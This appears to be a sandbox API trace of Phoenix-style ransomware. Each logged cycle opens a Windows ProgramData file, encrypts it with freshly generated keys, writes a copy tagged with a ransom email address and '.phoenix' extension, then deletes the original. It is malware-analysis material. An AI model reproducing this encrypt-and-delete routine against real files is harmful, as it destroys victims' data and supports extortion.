	[0241.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{2A2E4B23-55E7-4066-BF56-40A8C2ACF003}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{2a2e4b23-55e7-4066-bf56-40a8c2acf003}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{2A2E4B23-55E7-4066-BF56-40A8C2ACF003}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{2a2e4b23-55e7-4066-bf56-40a8c2acf003}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0241.043] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.043] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{2A2E4B23-55E7-4066-BF56-40A8C2ACF003}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{2a2e4b23-55e7-4066-bf56-40a8c2acf003}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0241.043] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1516c0) returned 1
	[0241.043] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.043] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x418, lpOverlapped=0x0) returned 1
	[0241.177] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x420, dwBufLen=0x420 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x420) returned 1
	[0241.177] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x420, lpOverlapped=0x0) returned 1
	[0241.178] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0241.178] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.178] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0241.178] CryptDestroyKey (hKey=0x151180) returned 1
	[0241.178] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0241.178] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0241.178] CloseHandle (hObject=0x2e8) returned 1
	[0241.178] CloseHandle (hObject=0x2d8) returned 1
	[0241.178] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{2A2E4B23-55E7-4066-BF56-40A8C2ACF003}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{2a2e4b23-55e7-4066-bf56-40a8c2acf003}.2.ver0x0000000000000001.db")) returned 1
	[0241.179] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0241.179] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000002.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0241.180] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1216) returned 1
	[0241.180] CloseHandle (hObject=0x2d8) returned 1
	[0241.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000002.db")) returned 0x20
	[0241.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000002.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000002.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000002.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0241.180] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.180] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000002.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000002.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0241.181] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151680) returned 1
	[0241.181] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.181] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4c0, lpOverlapped=0x0) returned 1
	[0241.484] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4d0) returned 1
	[0241.484] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4d0, lpOverlapped=0x0) returned 1
	[0241.485] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151240) returned 1
	[0241.485] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.485] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0241.485] CryptDestroyKey (hKey=0x151240) returned 1
	[0241.485] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0241.485] CryptDestroyKey (hKey=0x151680) returned 1
	[0241.485] CloseHandle (hObject=0x2d8) returned 1
	[0241.485] CloseHandle (hObject=0x2e8) returned 1
	[0241.485] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000002.db")) returned 1
	[0241.486] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0241.486] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0241.486] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1048) returned 1
	[0241.487] CloseHandle (hObject=0x2e8) returned 1
	[0241.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000001.db")) returned 0x20
	[0241.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0241.487] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.487] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0241.487] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0241.487] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.487] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x418, lpOverlapped=0x0) returned 1
	[0241.652] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x420, dwBufLen=0x420 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x420) returned 1
	[0241.652] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x420, lpOverlapped=0x0) returned 1
	[0241.967] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0241.967] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.967] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0241.967] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0241.967] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0241.968] CryptDestroyKey (hKey=0x151380) returned 1
	[0241.968] CloseHandle (hObject=0x2e8) returned 1
	[0241.968] CloseHandle (hObject=0x2d8) returned 1
	[0241.977] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{7BF8DBD1-8EE0-446A-8D07-1D22E4418D9A}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7bf8dbd1-8ee0-446a-8d07-1d22e4418d9a}.2.ver0x0000000000000001.db")) returned 1
	[0241.978] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0241.978] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{B8C80385-EAD5-4543-9080-86ADA8E81DD5}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{b8c80385-ead5-4543-9080-86ada8e81dd5}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0241.979] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1216) returned 1
	[0241.979] CloseHandle (hObject=0x2e8) returned 1
	[0241.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{B8C80385-EAD5-4543-9080-86ADA8E81DD5}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{b8c80385-ead5-4543-9080-86ada8e81dd5}.2.ver0x0000000000000001.db")) returned 0x20
	[0241.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{B8C80385-EAD5-4543-9080-86ADA8E81DD5}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{b8c80385-ead5-4543-9080-86ada8e81dd5}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.979] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{B8C80385-EAD5-4543-9080-86ADA8E81DD5}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{b8c80385-ead5-4543-9080-86ada8e81dd5}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0241.979] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.979] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.979] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{B8C80385-EAD5-4543-9080-86ADA8E81DD5}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{b8c80385-ead5-4543-9080-86ada8e81dd5}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.980] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0241.980] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.980] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4c0, lpOverlapped=0x0) returned 1
	[0242.179] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4d0) returned 1
	[0242.179] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4d0, lpOverlapped=0x0) returned 1
	[0242.193] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0242.193] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0242.193] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0242.193] CryptDestroyKey (hKey=0x151500) returned 1
	[0242.193] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0242.193] CryptDestroyKey (hKey=0x151140) returned 1
	[0242.193] CloseHandle (hObject=0x2e8) returned 1
	[0242.193] CloseHandle (hObject=0x2c8) returned 1
	[0242.194] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{B8C80385-EAD5-4543-9080-86ADA8E81DD5}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{b8c80385-ead5-4543-9080-86ada8e81dd5}.2.ver0x0000000000000001.db")) returned 1
	[0242.203] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0242.203] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.318] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3190) returned 1
	[0242.319] CloseHandle (hObject=0x2d8) returned 1
	[0242.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml")) returned 0x20
	[0242.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.320] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0242.320] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0242.320] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0242.320] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0242.408] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0242.408] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0242.408] ReadFile (in: hFile=0x2cc, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc76, lpOverlapped=0x0) returned 1
	[0242.499] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80, dwBufLen=0xc80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80) returned 1
	[0242.499] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc80, lpOverlapped=0x0) returned 1
	[0242.500] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0242.500] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0242.500] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0242.500] CryptDestroyKey (hKey=0x151100) returned 1
	[0242.500] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0242.500] CryptDestroyKey (hKey=0x151380) returned 1
	[0242.500] CloseHandle (hObject=0x2cc) returned 1
	[0242.500] CloseHandle (hObject=0x2e4) returned 1
	[0242.500] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml")) returned 1
	[0242.501] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0242.501] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\08961e67-fd90-a888-a0c1-ffdc19a3386f.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
